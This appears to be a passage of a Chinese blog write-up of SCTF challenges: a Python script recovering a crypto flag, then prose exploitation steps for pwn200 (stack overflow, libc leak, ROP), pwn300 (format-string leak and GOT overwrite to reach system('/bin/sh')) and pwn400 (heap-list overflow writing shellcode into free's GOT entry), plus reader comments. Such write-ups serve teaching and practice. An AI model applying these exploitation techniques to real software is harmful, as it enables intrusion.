    plaintext = "*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****"
    print repr(ciphertext)
    length = len(ciphertext) / 5
    answer = list("*"*length)
    for i in xrange(0, len(plaintext)):
        if plaintext[i] != '*':
            answer[i%length] = plaintext[i]
    answer = "".join(answer)
    print answer
    print base64.b64decode(answer)
    # SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}

if __name__ == "__main__":
    crack()

解出来的明文为:

U0NURntEMF95MHVfcjNhMWx5X2tuMHdfY3J5cHQwOXJhcGh5P30=============

进行Base64解码得到Flag为。SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}

pwn200


简单的栈溢出,利用一个字节修改输入长度,先通过泄露站上的libc中的地址获取system函数基址 /bin/sh地址,然后就是rop链

pwn300


格式化字符串漏洞,开了dep,没办法获得栈地址,所以通过劫持got表来实现system函数的执行。 利用步骤:

  1. 先通过%279$x泄露获得libc_start_main地址

  2. 根据提供的libc计算出system地址

  3. 每次该两个字节劫持printf函数地址为system enter image description here

  4. 发送/bin/sh,让其通过printf打印,实际上是在执行/bin/sh

Pwn400


看到双向链表就猜到了是模拟dlmalloc堆溢出了.在edit content的时候,输入超长,可以覆盖下一个堆块的内容,这样链表的双向指针就可以被我们控制,实现任意地址写漏洞:如下是content超长的截图:

enter image description here

要注意的是,该文件关闭了dep,那利用思路就是利用任意地址写漏洞,将shellcode地址写入某个got表,选择一个合适的函数got表很关键,最后我选择的是free函数的got表,原因是如下图所示:

enter image description here

在链表卸载后有个释放堆的函数,我们要覆盖双向指针,必然会导致堆块头部受损,保证堆块头部不出问题是个麻烦的事儿,不如直接劫持free函数,同时也不会有其他问题。

那整体的利用顺序就是:1。申请3个note 2.编辑第一个note,设置内容覆盖第二个note的双向指针,3.释放第二个note。关键代码如下:

enter image description here

Comment

评论:感谢分享

评论:迟到的膜拜!女神继续加油!

评论:找到了~嘿~

评论:楼主能给一份trid么?谢~

评论:感谢分享 学习了

评论:跪了。。。。

评论:mice400a的答案真的是那样啊,当时还以为哪里出问题了,能不能再坑点

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*